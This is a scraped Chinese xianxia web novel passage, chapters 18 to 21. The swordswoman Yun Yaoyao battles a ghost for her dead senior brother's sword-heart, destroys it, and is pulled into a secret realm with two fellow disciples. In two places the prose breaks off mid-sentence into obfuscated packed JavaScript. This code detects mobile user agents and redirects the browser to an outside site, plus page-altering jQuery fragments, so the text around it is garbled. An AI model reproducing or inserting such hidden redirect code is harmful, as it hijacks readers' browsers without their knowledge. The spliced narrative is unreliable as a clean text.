闻佩鸣坐在十二层露台,眼中暗光流动。在布阵者手中,整座蔚云城是另一幅模样。 灵气划分成的规则网格内,所有人都不经意踩在阵法暗格上,他们都是待价而沽的商品,有待阵法衡量价值。 完全开启千肆蜃影,闻佩鸣的交易海未结束。 他余光看见匆忙赶来的天枢,蹙眉道:“徐清来呢?” 天枢一楞,冷汗迅速滑下,他意识到自己情急之下做出了错误判断。 “属下办事不利,请少阁主责罚。” 扇子在闻佩鸣掌中转了一圈,扇面掩过街道繁华,再回到他掌心合起时,照渊阁外的灯火俱灭,仅剩阵法流动。 太多的闲人杂事会干扰视线,这样就舒服多了。 闻佩鸣眉眼舒展,他没有看天枢,还在观察着城中局势,忽而,他感受到阵中灵力波动,暗格所显示出的价格暴涨。 他语调中带着不易察觉的愉悦,整个人放松下来,连责怪的话都显得温柔了不少。 闻佩鸣未掩笑意:“没用的东西。” 这话令天枢脊背埋得更深。 闻佩鸣指尖在扶手上敲了敲,瞥了一眼他,吩咐道:“去,在她们碰面之前,把徐清来带 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“剑心呢?”云杳窈厉声逼问。 黑袍不回答她,突然调动鬼气,想要故技重施。 云杳窈没有耐心了,刚才交锋的时候,她已经察觉到剑心的气息,正藏在他心口处。 避开心脏,云杳窈迎着鬼气,凝聚自身灵气入剑,直击黑袍腹部。 问心感知到剑心,有感而鸣。 杀招带来的灵气反噬,直击心脉。 问心的剑灵至今沉睡,这是云杳窈强行让问心为自己所用的代价。 痛,但是爽。 这应该是她挥出的,杀意最盛的一剑,直接贯穿这只恶鬼的身体,将他钉死在墙面上,不得逃脱。 云杳窈握着剑柄,感觉这把剑在他身体里再无寸进可能,于是威胁道:“剑心呢?” 黑袍吃痛,倒吸一口气,鬼气正从伤口源源不断外泄,不多时,他就会消失。 “现在是黑夜,鬼气正盛,你不该对一只恶鬼穷追不舍。” 他说着,声音突然变化,鬼气森然,带着威压袭来。 “勿动。” 离得太近,避无可避。云杳窈直接被他定身在原地。 黑袍痛到混身肌肉痉挛,声音也随之发颤。 “拔剑。” 云杳窈极力克制,然而两人的力量相撞,她未曾防守,终究还是生抗不下去。 手,渐渐拖着问心往回收。 这种抗衡下的迟缓,对黑袍来说不亚于凌迟。 云杳窈还没见过这种路数,她一边再次往问心里注入灵力,想突破束缚,一边咬牙切齿追问道:“剑心的主人呢?是你杀的吗!” 剑拔出的那一刻,黑袍长吐出一口气,腰腹因伤痛不断起伏,血和鬼气一起流出,他声音笑中带颤。 “不然呢。” 他的声音已经恢复到原本的粗砺沙哑。 “他不死,我怎么掏心?” 他期身而上,鬼气迅速和他一起将云杳窈纳入怀中。 阴恻恻的鬼气缠上云杳窈的身体,寒意森然。 黑色衣袍包裹着恶鬼,恶鬼包裹着云杳窈,他道:“你剑术学得很好,可惜太过心急,没人教过你穷寇莫追的道理吗?” 18. 第 18 章 “如果我打听的没错,你与那剑心的主人关系匪浅,他怎么不教教你?” 恶鬼从背后拥住云杳窈,将她困锁在怀。一只手虚抬起,化鬼的利爪随时能刺穿他心脏,另一只手刮过她下巴,指尖仅离咽喉寸余。 “忘了,他是个无能之人,被掏心而死,别说护你,他连自己都搭进去了。” 恶鬼的目光在她脸侧逡巡着,手指摩挲过她脸侧光滑细腻的肌肤,最后停在唇角。 他们紧紧相贴,从皮到血肉,再到骨骼,最后是魂魄。 鬼气丝丝缕缕笼罩她身体每一寸,却很有分寸感的停留在表面,并未深入。偶尔擦过肌肤,引起战栗,他便缓下来,想用掌心温度替她抚平颤抖。然而他身躯冰凉,手是冷的,还需从她身上汲取温暖,根本无法让她停歇。 离得太近,他们急促的喘息声在暗巷中尤其明显。 云杳窈起了一身鸡皮疙瘩,故意和他错开呼吸频率,甚至直接闭口不言。 恶鬼听不见声,捏住她两颊。 冰凉的手贴在她脸上,云杳窈感觉混身恶心,这种恶心催动她突破片刻束缚,一口咬上他的虎口嫌剑不够快,她调动的丝线以迅雷之势刺入他的伤口,不管不顾似的蔓延他全身,以此牵制他的进一步动作。 游荡在世间恶鬼,大多心带执念,鬼身必带怨气。 云杳窈的丝线比鬼气还难缠,两人互相纠缠着,谁也不肯放过谁。 在这种逼仄昏沉中,他的情思愈发肆意滋长,心口处酸胀着,撑得发麻。 对方的手掌想要抽离,却发现自己也不能动弹了,连忙道:“松口。” 他们各自牵制,一时间,谁也奈何不了谁,就这么保持着这种僵持的姿势。 云杳窈松开嘴,声音在他掌中有些闷:“我师兄的尸身何在?” 恶鬼啧了一声,在云杳窈再次狠狠咬下去时连忙回答她:“忘了。” 血腥味还在齿间弥漫,云杳窈几乎要被他气笑。 “忘了?你找死。” 说着,她操纵一根丝线,延伸到他咽喉处,几乎要将他的咽喉绞断。 “你再想不起来,我就它钻进你脑子里,替你找找。” 丝线在恶鬼眼前晃了晃,他呼吸困难,声音都变形了:“他全身上下,只有那颗心有用,我留他尸身作甚?” 红色丝线从他骨肉里钻出,鲜血从他脖间细洞汩汩流出。 鬼气源源不断填补伤口,试图拯救。然而丝线与鬼气互相争斗,最后两人难分高低,再次陷入僵局。 “你也不想被我耗死在这里吧?”云杳窈冷静道,“我数三下,咱们各退一步,你解开音咒,我解开丝线。” 恶鬼同意后,云杳窈倒数。 “三、二、一。” 话音刚落,两人拉开距离,云杳窈的丝线立刻就要去夺他怀中剑心。 然而丝线缠上剑心,却死活拽不动。 云杳窈心急之下,直接封闭听力,问心再次向他刺去:“把剑心给我!” 千钧一发之际,大地震颤,周围的建筑突然变换位置,最后的退路被层层封住,四周的墙体先是向他们不断靠拢,而后地面抬高,城内建筑像是有生命似的,不断变换的地形让他们自顾不暇,险些被卷进墙体。 脚下地面塌陷,恶鬼身受重伤,坠入裂开的深渊。 黑袍中的鬼气翻涌,恶鬼胸中剑心鲜亮的光照进云杳窈的眼睛,那种熟悉的共鸣感再次引她心肝震颤。 云杳窈想都没想,跳入万丈深渊,她此刻眼前只有剑心,指尖刚触摸到恶鬼胸前,便被他卷入怀中,她听见恶鬼的被撞得闷哼一声。 两人坠落在地,恶鬼顿时摔得不成人形。 云杳窈召出五根丝线,将他压在地上,想要掀开他的外袍。 恶鬼不顾丝线的缠缚,生生让丝线穿透手腕,他握住云杳窈的手,阻止她继续。 前胸随心脏起伏不定,他猛抽一口气,问:“就非要不可吗?” 云杳窈没有回答,他继续说:“我真不明白,他有什么值得你念念不忘的。” “能死得悄无声息,说明他本就道行不够,你是修行之人,应该明白,这是天道给他定下的命数。你不是师从无情剑道第一人吗?怎么还能喜欢上你师兄,兔子还不吃……” 他说着,猛然感觉到,有几滴冰凉的雨砸在他脸上。 夜晴风轻,他忽然意识到,身上凶狠压制着他的人,好像哭了。 云杳窈面容清丽纯澈,在一众剑修里,显得亲和有余,威压不足。她长了一副,太过美丽而懵懂的脸,以至于容易教人轻慢了她的剑修身份,无视了她灵魂中的坚韧。 她令人心折手软的相貌,是她向上攀爬,可以随时利用的手段之一。 可美貌,有时也会成为一种负累。 她不愿让恶鬼嘲笑,所以音调不起波澜,甚至带着些残忍的平静。 “你懂什么,我师兄是世界上最好的人,他救我于危难,我替他敛尸身,他死了又如何?我会带着师兄的剑,将你们这些恶鬼斩杀殆尽。” “他虽然死了,但他救过的人没有死尽,我睚眦必报,今日不取你性命,誓不罢休。即便你侥幸逃脱,我追到天涯海角,也要替他报仇。” 恶鬼似乎被她这番言论给震得说不出来话,他怔怔道:“你……你这么喜欢他啊。” 云杳窈道:“你这种被执念蒙蔽双眼,不肯入轮回的恶鬼,又怎能明白我与他之间的情谊。” 第一次见岑无望,云杳窈看到他眼中一闪而过的不忍。 趁着这一丝心软,她喊了他一声:“阿兄。” 负剑独行的少年剑修,从此多了一个无血缘关系的妹妹。 云杳窈也是后来才知道,岑无望那日之所以会救她,是因为他家中有一个从小如珠似宝教养长大的妹妹,她死于家族间的争斗。 她与岑无望的决裂,就是因他醉后,将她误认作家中小妹。 岑无望醉卧青松间,枕明月,揽清风。 见云杳窈过来,单手捧起她的脸,指腹替她抹去睫上白雪,染上薄红的眉眼愈发柔情蜜意。 他将冰花插在她云鬓间,轻声问道:“妹妹,何时还家?为何留我独行?缘何弃我而去?” 每一个问题,都像是一声喟叹,说到最后,笑眼里竟然还沁出点点泪花来。 云杳窈已多年没有再唤过岑无望阿兄,也从未听他叫过自己妹妹。 她那夜气得将冰花扔在雪地里,愤然离去。 然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14592680|155949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而云杳窈知道,岑无望没有错。 她不能责怪岑无望对小妹的满心思念爱护,更不能责怪那位可怜早逝的妹妹。 从某种意义上来说,还是这位岑小妹救了她一命。 云杳窈有时会觉得自己太贪心了,父母也好,晏珩也罢,甚至于两世都骤然离世的岑无望,她都渴盼着,从他们中得到一份绝无仅有的偏爱,她热烈期待着,有人能将她作为第一选择。 岑无望是真将她作为师妹疼爱。 他或许至死都没有明白,为什么师妹会突然与他生疏,会忍心将那些问候的信搁置一边。 云杳窈再次向恶鬼,也是向她自己肯定道:“我与他之间的情谊,外人是不会懂的。” 她应该为兄长报仇雪恨。 丝线再度缠缚上来,消解着恶鬼的戾气。 恶鬼沉默良久,突然道:“你修无情剑道,不该心恋红尘,回你的宗门吧。” 云杳窈觉得有点好笑:“你管我?我师尊管不了我,你算是个什么东西。搞清楚,现在是我不放过你。” 恶鬼深吸一口气,道:“你这么想要剑心,就自己留着玩吧。” 他说完,任凭丝线绞杀他体内鬼气,强行突破束缚,以至于鬼气消散过多,难以聚成人形。 黑袍迅速干瘪下去,他仅用鬼气护住魂魄,丢弃剑心遁逃。 云杳窈接住剑心,见他已钻入地下,不知去向。 恶鬼元气大伤,至少十年内,不能再兴风作浪。 云杳窈捧起剑心,立即凭借丝线追寻鬼气而去。将要到城外,她忽然想起,这是她逃遁的好机会。 恶鬼体内有丝线在,虽侥幸逃脱,只要她勤加修炼,早晚能凭借这点微末联系找到他。 云杳窈御剑重回地上。 地势已经平稳下来,为避人耳目,她将黑袍披在身上,沿着街道小巷往城门口去。 城门近在咫尺,只要走出这条巷子,她就能设法越过城墙,另寻广阔天地。 云杳窈揣着剑心疾奔向前,屋檐作挡,月光照不进暗巷,但能照清街道,她能看见前方的光亮愈盛。 就在她即将走出小巷之时,有一人现身于狭窄巷口,身披皎然月光,步调悠闲自在,他单手扶着手肘,另一只手持着扇子抵在下巴上。 闻佩鸣温润和缓,影子在地下拖得很长。 云杳窈回头,发现身后的退路被照渊阁侍从堵上。 闻佩鸣勾起唇角,并不急着凑近:“师姐雅兴,这是要到哪里去?” 云杳窈冷静下来,面容苍白,心脏狂跳,但她仍旧维持着表面平和,故作懵懂。 “刚才我与那恶鬼在城中交手,不想地形突变,这才迷了路。他如今不知去向,我正在追杀他呢。” 闻佩鸣恍然大悟,感叹道:“这样啊……” 他好声好气解释道:“可是师姐,我已开启千肆蜃影阵,携剑心者,不得逃离。你现在追他而去,势必被阵法拦下。” 闻佩鸣的扇子打开,正面是“持权衡无私”,反面是“称轻重不差”。 云杳窈眨了眨杏眼,道:“师弟这是何意?” 闻佩鸣笑眯眯道:“师姐入我蔚云城,自然要入乡随俗,不要紧张,只是想与师姐做个交易。” 19. 第 19 章 云杳窈语气诚朴:“这我就有些听不明白了,闻师弟什么富贵荣华没见过,我哪里有能与你做交易的东西呢。” 千肆蜃影已成,地势再次变换,以照渊阁为中心,恢弘法阵浮空,灵力将云杳窈困于界中,她脚下的地面高高拢起,如置身权衡一侧。 天同斩不破结界,反被法阵吸收了剑气,云杳窈所置身的权衡一侧再次下降。 她稳住脚步,看向御剑悬空的闻佩鸣道:“闻佩鸣,这是你照渊阁的待客之道?” 闻佩鸣轻摇着扇子,乌发纷飞,他胜券在握,踏入权衡的另一侧,两人南北对峙,他面容带笑,却还是不免带着些傲气。 “岑师兄抱憾陨落,我愿继承他的意志,承剑心,斩妖鬼,护云师姐一世无忧。” 他眼中尽是胜券在握,这副张狂模样倒是和岑无望更像了。云杳窈蹙眉,讥笑道:“原来闻师弟想要的真心,是剑心啊。” 自闻珮鸣现身起,云杳窈便知道他此行所为何事。 作为剑修,他想得到剑心没错。作为照渊阁之主,他欲揽下奇才美名也没错。 错就错在,他不该把主意打在她的东西上。 宁为玉碎不为瓦全。 云杳窈眉眼淡漠,声色凉薄:“可惜少阁主大费周章,白布置这么一场。” 结界在她话音落后轰然倒塌,交易失败,千肆蜃影犹在运转,但已经无法根据铜镜的指示锁定剑心位置。 铜镜可照天下事,剑心在铜镜前留痕后,根本不可能被人再度藏匿。 除非,剑心已毁。 闻佩鸣瞳孔骤然紧缩,他不可置信道:“你做了什么!” 红光从她怀中炸开,云杳窈的丝线紧紧收拢着剑心残骸,然而丝线不够细密,临时织就的灵网难以将所有灵气锁住。 如此大的灵气拨动,引得天地共鸣,山摇海动。 狂风吹开云杳窈的黑色兜帽,闻佩鸣为她戴上的装饰纷纷落地。翠羽明珰,剑簪玉环,噼啪摔碎。 这些清脆的碎裂声并没有传进云杳窈的耳朵里。她的丝线汲取太多灵力,涨得她经脉饱胀,酸痛难忍。 脖颈额上皆爆出青筋,未来得及咽下的污血从唇角流出,云杳窈这般爱美,竟也忘记为自己抹去血痕。 心口发热,云杳窈紧紧裹着黑袍,还是觉得快要压制不住那股力量。 “剑心不是岑无望留在这世上的唯一东西,但却是我能找到的,今世仅存的残骸。” “我为他闯山门,违逆师尊,孤身单挑恶鬼,只是因为,因为……” 云杳窈咽下喉头腥甜,怕风撕碎她的余音,怕天下人听不清。 “我要让他死得其所。” 她见到了,剑道至盛的灵辉。 可惜,这千年难遇的景象,只是剑心的残波余晖。 千肆蜃影的所有灵气汇集在一处,挡在离云杳窈最近的闻佩鸣身前,与剑心绽出的灵气相抗衡。 扇面为罡风撕碎,看不出原本的字形。 闻佩鸣眯起眼,道:“师姐自诩小剑君的未亡人,却忍心毁掉他的剑心,你到底……” 岑无望那么骄傲的一个人,若是知道死后剑心还要为他人所用,恐怕会气得在地府打转。 云杳窈想到这副场面,忍不住笑了。 她没有听清楚闻佩鸣的话,她痴迷般看着剑心在手中逐渐消散灰败的痕迹,眼睛发红,布满血丝。 “我就是要亲手抹杀他,我问心无愧,师兄他……”她眼中笑意愈浓,“他会明白我的心意。” 折辱他,不如毁去他。 或者,还有一项更好的选择,那就是以其他形式,与她融为一体。 丝线贪婪地吸收着剑心的灵气,云杳窈甚至感觉有些失控。 这些丝线已经完全听不了指挥,毫不顾忌她身体的极限,在空中随扩散的灵气张狂舞动,好像幼时她随岑无望途径大泽湖畔,渔民在夕阳下洒向大泽湖心的渔网。 就在她意识逐渐消散时,忽然听见天际传来一声呼喊:“师妹!” 接着,便是两道剑意相撞。 徐清来刺破结界,直面罡风。 剑心灵力融于风中,将她的衣衫割破,脸上的细碎伤口渗出缕缕血丝。徐清来仍持剑掐诀,要撕开一道口子,将云杳窈从漩涡中拽出。 云杳窈挺着最后一丝意识。 机缘难测算,剑心是她毁去,也是她执意冒险吸纳灵气。就算全身经脉爆裂而亡,只要是她做出的选择,她就甘愿认输,生死交归天命。 “不要过来。”云杳窈挣扎,看着她双眼中的执着,突然心生悔惧。 她害怕这种为她生发而出的无畏和赤诚。 云杳窈相后跌去,放任自己从高空坠落。 有两个模糊身影从她眼前闪过,其中一人毫不犹豫,将她揽在怀中。 徐清与身上的墨香替代了血腥气,云杳窈已经看不见她衣襟上的暗纹,含着喉间最后一口血气,在须臾间召出更多丝线,将即将坠落的两人团团裹住。 剑心与丝线相互搏杀,两人的五脏六腑都要震碎。 即将砸向地面的前夕,徐清来调转位置,将云杳窈护在身前。 浮动的尘埃定格空中,四周的断壁颓垣停滞在倒塌的中途,乌云不再飘荡,法阵都停止运转。 甚至是紧随在后,满脸惊惶的闻佩鸣,他的手即将拉住两人,挽回她们的跌落。 然而一切都来不及了。 时空凝滞的瞬间,惟有剑心还发挥着残热。云杳窈听见自己的呼吸以及灵力在经络里快速流动的声音,以她为核心,周围一切的事物都在停滞后迅速扭曲。 星回物转,三人被同时拉入剑心损毁后撕裂出的秘境裂隙中。 一切感官都被光吞没,云杳窈在昏沉意识中,看到光怪陆离的模糊景象。 天与水相接,映照出晴云万里。在一片蓝白相交,分不清边缘界限的画面中,惟见天心有小舟一芥,人影两点。 待画面渐移渐近,忽而天地倒悬。 原是云杳窈迷离惝恍,当局者迷,误将天与地两相错位置换。 她才是那个不识景中真意的人。< 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应该是他双臂勒得太紧,云杳窈听见女子闷哼,而后,她轻轻拍着他的背,安抚他:“好好的,怎么还哭起来了。” “百年不过须臾瞬间,千年轮回……”她顿了顿,接着开玩笑,“你就当是梦一场,等你睡醒,我一定回来。” 云杳窈听完这句话,已经离得很近,她听见女子的叹息,甚至,看到她一只半阖着的眼睛。 有一滴泪,从她眼角滑落。 泪眼相对,云杳窈抬手,发现自己竟跟着流泪。 一时无言,天地忍不了这窒息静默,落雨纷纷,为舟中的生离死别而哀恸。 温热的雨无法打湿仙人羽衣。舟中人仍在相拥,世间的万物无法介入他们中去,暴雨亦然。 疾雨落在云杳窈的脸上,她抬手摸过,却摸到一手甜腥滑腻。 有人抱着她,在她耳边喋喋不休。 “我带你回乾阳宗,不要睡着啊杳窈。” “你不是要带岑师弟回去吗?他的残骸已经拿到了,我带你们回去。” “醒醒。”徐清来的血再次滴在云杳窈身上。 “这世界上,不是只有岑无望,不是只有情爱。你还有我,我也可以像岑无望一样,成为你的依靠。” “我先前是骗你的,游记里的千川百岳,我等你和我一起去看,不要死,不要死,不要死……” 徐清来天性淡漠,平生两度体会到撕心裂肺的痛苦。 第一次是在双亲离世,她从此失去了依仗的靠山。那年徐清来拿起剑,听从族中长辈安排,独自踏上了去乾阳宗的路。 第二次,源自于她敞开心扉后的第一个朋友,如今在未知秘境中奄奄一息,生死难料。 不远处,闻佩鸣不敌恶鬼,在接连的围攻中不察身侧袭击,为恶鬼所伤。他摔倒在地,却惦记着不远处的两位同门,甩出天同,狠狠将恶鬼贯穿。 还没来得及召回天同,身前恶鬼抓住纰漏,显出利爪直击他面门。 20. 第 20 章 生死攸关之际,有一道剑影闪过,比天同更快,比鬼爪更锐利。 锋芒刺穿闻佩鸣身前的恶鬼,在鬼气消散前,化作六道剑影,在同一时刻将林中恶鬼绞杀。 闻佩鸣反应迅速,在接过天同的一瞬间,起身反攻,十二道剑光齐发,组成剑阵,攻守易势,林中剑风飒飒,万千飞叶被裹挟着,向厉鬼刮去。 素袍银剑,衣袂纷飞,杀气、剑气、鬼气,在月光与树影间游荡。 有一片落叶挡在闻佩鸣眼前,他迅速用剑意斩断,这片叶子恰巧从中心叶脉劈开,自墨绿暗影中,显露出一双坚韧的眼。 闻佩鸣看见云杳窈白衣染血,手掐剑诀,目光凛然,月华便在人间有了实质。 在这场惊心动魄的厮杀反击中,闻佩鸣的心中砰然而动,如雷心跳久久不歇。 有恶鬼不顾她手中剑,将鬼气聚集在手上,化出森然骨爪,紧紧抓扣着剑身,想要在须臾间吞噬云杳窈。 闻佩鸣喊道:“小心!” 坐在地上的徐清来已经耗尽灵气,断雁剑从她掌心飞去,剑身直直穿过恶鬼头颅。 云杳窈的丝线趁机穿透鬼心,同时将手腕一扭,配合灵气金光,将鬼爪削掉。她抬头,两条如长羽般的眉毛压着那双灵动杏眼,血气和鬼气将她身上的嫣然柔态掩去,锋芒尽现。 她闻声仰头,仅需一眼,两人迅速调换位置,互相配合,后背相靠,向剩余的恶鬼斩去。 月迁云移,树林覆满荫翳。 云杳窈抽空抹去脸上血痕,丝线从她手腕缓缓蔓延,融合了剑意,悄悄将那些想要重新聚拢的鬼气靠近。 风生林动,云杳窈耳边全是厉鬼哭叫,她浑身的经脉骨骼在灵气的灌输下断裂又长出,以往淤塞的节点全部被暴力打通。 经由此遭,云杳窈能明显感受出,自己对丝线的掌握更加纯熟。 线随心动,她源源不断吸收着鬼气,本就酸软的手腕更加胀痛,她面色不改,在绞杀最后一缕林中鬼气后,才终于克制不住喉头的腥甜,手持天同,半跪在地上,呕出一大口血。 吐出淤血后,她感觉混身松快了许多,然而在徐清来和闻佩鸣眼中,她内伤严重还强行催动灵力,恐怕反噬过后才是真正的凶险。 两人同时喊:“杳窈。” 受伤较轻的闻佩鸣上前,想要扶起云杳窈。却被眼冒金星,一时缓不过来劲的云杳窈抬手推开,催他:“你去看看徐师姐,她情况比我严重。” 云杳窈自顾自扶着问心支撑起身体,闻佩鸣的双手一直在旁虚拢着,知道她再次催促:“快去啊。” 闻佩鸣这才抬脚往徐清来方向挪动。 云杳窈深吸几口气,回想起在徐清来房中看到的《散修自救一百式》,将几处受伤严重的经络封住。 这本书也不知道是哪位医修奇才写的,让徐清来这个书痴误打误撞搜集来,上面不教原理,只干脆简单的些简单易懂的操作教程,即便不是医修,也能轻易看懂。 别说,这上面教的东西,竟然还真的有点用处。 云杳窈知道挺不了多久,她看向东南方向,恶鬼从密林寻过来,一直留在这里不是个办法,他们必须找到出口。 秘境虽然陌生,但云杳窈并不打算坐以待毙。路是活人走出来的,留在这里肯定还会有第二场厮杀。 云杳窈留了几根丝线,往各个方向探去。 东南方向鬼气最稀薄,且方才围剿他们的恶鬼,都会有意无意挡住东南林道。 剩余的灵力和鬼气混杂在体内,互相冲撞,云杳窈不知道自己还能坚持多久,指挥闻佩鸣道:“你背上师姐,咱们往东南方向转转。” “东南能走?”闻佩鸣看了看黝黑的小路,向她们提议,“不如等我先去探探路,如果这个方向安全,我再回来接你们。” 云杳窈摇头:“这个秘境我们都不熟悉,贸然分开后,若是一方遇险,很难及时援救,我们现在都受了伤,不能再冒险了。” 徐清来沉默许久,突然提议:“不如你们两个先去,我留在这里,若是找到出口,你们再回来接我。” 出乎意料,还不等云杳窈拒绝,闻佩鸣先蹲下身,叹了口气:“师姐别想把我置于险境。” 他回头看向徐清来,道:“你还没看出来吗?假设我敢附和半个字,云师姐恐怕真的要恨死我了。” 闻佩鸣眼下有一道细小的伤口,是刚才被叶片划伤的,血痂已经凝固了。若是忽略他的狼狈,看起来就像是有人为他工笔添了新妆。 “徐师姐行行好,让我背你出去吧。” 闻佩鸣压低声音。 “你也不想让云师姐亲自背你吧。” 徐清来思索片刻,最终还是在云杳窈帮助下,咬牙挣扎着爬上闻佩鸣的背。 有丝线探知前方情况,云杳窈主动在前方开路。 她的金光剑意一直燃着,逼退黑暗,将他们的影子甩在身后。 三人在林中摸索着走了几个时辰,直至丝线探到空处,云杳窈重新打起精神,加快脚步,道:“快到了。” 蓊郁繁茂的密林逐渐投下了一些光斑,从暗到明。 云杳窈第一个走出林子,看到一片寂静无波的湖面。远处天边罩上很薄的一层红。很快,这微不可见的红便随着日出迅速扩散至湖面。 等他们走到湖边时,碧蓝湖面如烟火坠落其间。 湖心有一条细长小舟。 舟上的人影在漫天日光的映照下更显热烈。 云杳窈神思一晃,梦境中寂寥的白与此刻孤煞红影重叠,她刚要张口,突然发觉,湖中倒影只有那条小舟。 舟中无人,惟一鬼影立于其上,恍若梦中仙。 看清他身影的那一刻,云杳窈未打招呼,足尖点过湖面,水波随她脚步荡漾开来,白色身影在湖面以不可挡之势向恶鬼斩去。 剑身照过他的脸,映出一团鬼气。 云杳窈站在船头,他被问心逼退至船尾。 小舟摇摇晃晃,他始终脊背挺直。没了黑袍的遮挡,他却还用鬼气遮掩着面貌,云杳窈冷笑一声,自觉有能力与之一战,故意激他:“是面目可憎,所以才不肯露出真面目吧。” 恶鬼的声音虚无缥缈,晃悠着传进她耳中。 “本尊恐相貌摄人心魂,别人只传美名,不传我恶名,所以才故意遮挡。” 云杳窈道:“你是何方来历,如此猖狂,几次伤我乾阳宗弟子,我今日定不饶你。” 恶鬼思索一阵,道:“嗯……世人鲜有问我名者,近来倒是有人给我起了个名字,叫憎愔。” 虽然看不清五官,但不知为何,云杳窈觉得他此刻脸上一定是带着笑的。 “你想知道为什么吗?”憎愔说着,忽而凭空取出一把琴。 他盘腿坐下,舟随人晃,露出的双手缠着鬼气,随他动作,偶尔可看见匀称修长的骨肉。 云杳窈知道这鬼会以声扰乱心神,甚至能控制人身。 她余光看到岸边的徐清来和闻佩鸣,没有一丝犹豫,问心直接向琴斩去。 憎愔道:“你太没有耐心了。” 他拨动琴弦,根本没有弹奏,只一个音调,便掀起惊涛骇浪,令所有人动弹不得。 林中鸟雀惊鸣,飞向天际。 这些嘈杂叫声与湖中荡起的水墙应和,憎愔坐直身体,打算抚琴一曲。 然而低头看向琴弦的那一刻,一道光刺入他视线中,剑尖擦过他脖子,他险险躲过。他的琴就没那么幸运,直接被调转势头的问心劈成两半。 他直接换回本音, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14592682|155949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 单字诀瞬时出口:“停。” 仅一字,尾调悠长,比琴音余韵还要宛转悠扬。 云杳窈再次被短暂定身。 然而她此刻灵力比在蔚云城强盛太多,毫无防备与她对抗,憎愔被力量反噬,心口发痛。他称赞道:“进步神速,如此甚好,若再遇上,我便不愁没有对手了。” 他将琴丢弃,甩袖站立起来,弯腰看着云杳窈带着狠劲儿的双眸,她琥珀鎏金般的眼瞳中全是恨。 鬼善察知人心幽暗,感受出云杳窈心中仇恨,憎愔非常满意。 憎愔的力量尚未恢复,不能像在暗巷中任意控制云杳窈。 云杳窈无声放出丝线,然而憎愔将这些张牙舞爪的丝线缠在腕间,放任他们攀附在自己身上:“还想故技重施呢?” 她心下惊讶,先恢复了声音,一边调转全身灵力,一边说:“要杀要剐,悉听尊便。” 云杳窈悄悄指挥丝线控制对方,然而憎愔体内空洞,鬼气很巧妙地在不断避让着丝线的入侵。 他们无声角逐着,憎愔感受到岸边的人有所松动,瞥了一眼即将突破音咒封印的闻佩鸣,接着和云杳窈说:“我不杀你,是因为你还欠着我。” “我白送你一颗心,现在成了空壳一具。你若还有点良心,就把自己的补给我。” 说着,憎愔俯身,鬼面不断靠近云杳窈。 丝线随主人心意,不断来回捅着憎愔,然而正如他所说,他现在没有实体,他这鬼很奇怪,离了剑心,身上不剩多少怨气和恶意,所以云杳窈很难再找到空子控制他。 憎愔的下半张脸逐渐清晰,从鬼气中隐约现出,云杳窈能看见他唇微张着靠近,就好像要吸人魂魄似的。 云杳窈意识到这一点,顿觉眼前画面触目惊心,恶狠狠从齿缝中挤出两个字:“滚开!” 这一声混杂了灵力,将憎愔脸上的鬼气都震散了不少。 差一点就能看清他的真面目,云杳窈瞪大了双眼,眨也不眨的等待着鬼气全数散尽。 然而憎愔扑哧一声笑了出来,重新拢好面容,道:“开玩笑而已,今天先不吃你。” 云杳窈憋着一口气,即将冲破束缚。 憎愔感受到她蠢蠢欲动的杀意,不敢再逗她,道:“告辞。” 说完,鬼影跳入湖中,顿时消失不见。 云杳窈冲破音咒,扑到船边,遍寻不到憎愔身影。 在憎愔消散于湖水中的前夕,闻佩鸣与徐清与的音咒一同解开。 云杳窈不再留恋于舟上,她回到岸边,确认两人安然无恙。徐清来见她面色不太好看,有些苍白,问:“这恶鬼认识你?他有没有伤到你哪里?” 闻佩鸣说:“是蔚云城携剑心前来交易的恶鬼。” 他想起什么似的,赶紧接着说:“此鬼极为狡猾,先是杀岑师兄夺剑心,又多次从师姐剑下逃脱,若是留他继续修炼,恐为祸人间,我回去就让天枢下通缉令。” 徐清与也说:“我也会和师尊禀报此事,门中很快就会挂起悬赏,必定让他灰飞烟灭。” “不过……”她说,“这鬼究竟是何来历?如此强悍,我为什么从前没听说过。” 云杳窈道:“他叫憎愔,我与他交手,感觉他不像是人死后魂魄所化。” “有名字就好办。”徐清与说,“待回去后,我在宗务堂的卷宗里找找,看有没有他的记录。” 闻佩鸣说:“先出去再说吧。” 先是支撑起千肆蜃影,而后又苦战一夜,他灵气几近枯竭,难免带些丧气。 “不过,这秘境的出口到底在哪?” 三人互相看了看,不约而同道:“憎愔。” 他们的目光望向湖心。 没有载客,小舟在天光与粼粼湖光中格外平静。 21. 第 21 章 三人御剑飞至舟上,水天一色,湖映人影,他们的身形在水中随波晃荡。 云杳窈探出丝线,却一直探不到底。 闻佩鸣也召出天同,向湖底寻找秘境出口。 然而他们都一无所获。 难不成是猜错了?其实憎愔根本不是从这里逃离,离开的方法另有。 闻佩鸣说:“这个秘境的核心应该就在这里,但这里……” 既无先天法宝又无珍惜灵草,除了些低阶的灵鸟小兽,就是杀也杀不尽的恶鬼,此地连灵气都稀薄到可怜。 云杳窈回忆梦中场景,那时的湖中灵气浩荡,无风浪侵扰,更无恶鬼出没,除却那两人身上化不开的静默哀愁,整个景象堪称世外桃源。 现在,梦境的主人已经不在此处,没了仙人镇守,此处灵气逐渐走向枯竭,以至于被恶鬼侵入,也很正常。 梦的开始,云杳窈的视角是水天倒置。这里是仙境残像,那么到底梦境是真,还是现实为真。 